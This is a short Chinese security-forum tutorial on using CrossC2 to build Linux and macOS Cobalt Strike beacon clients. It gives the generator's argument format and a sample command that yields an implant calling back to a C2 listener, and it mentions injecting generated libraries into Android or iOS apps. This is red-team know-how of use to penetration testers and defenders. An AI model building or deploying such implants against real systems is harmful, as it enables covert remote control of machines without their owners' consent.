安全矩阵

 找回密码
 立即注册
搜索
查看: 4663|回复: 0

利用CrossC2生成多平台Cobaltstrike客户端

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-19 18:51:14 | 显示全部楼层 |阅读模式
原文链接:利用CrossC2生成多平台Cobaltstrike客户端

用过MSF的同学应该都知道,msf可以生成Linux、Windows、Android等等多平台的木马端,但是Cobaltstrike这个后渗透利器,只能生成Windows的客户端,有时候用起来着实不方便。


使用CrossC2框架可以帮我们生成Linux 和 MACos的Cobaltstrike客户端
首先到

https://link.zhihu.com/?target=h ... sC2/tree/master/src

下载于CS服务端对于的可执行文件

下载完成以后,上传到cs服务端目录下

客户端生成格式
genCrossC2 [host] [port] [beaconKey_file] [rebind_dynamic_lib] [platform] [arch] [outputFileName]
目前 CrossC2只支持https通道,所以我们还需要新建一个https监听

然后我们生成一个linux 64位的来进行测试
./genCrossC2.Linux ip 端口 null null Linux x64 test
执行test以后,cs上成功上线

但是目前这款框架执行了只支持cs3.14的版本,cs4.0的版本,可以正常上线,但是无法执行命令,就这样

从项目文档上来看,这款框架还支持生成Android和iOS的客户端



但是生成的都是动态库文件,需要自己将动态库打包进指定的APK安装包,或者注入指定的App中。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 12:38 , Processed in 0.014587 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表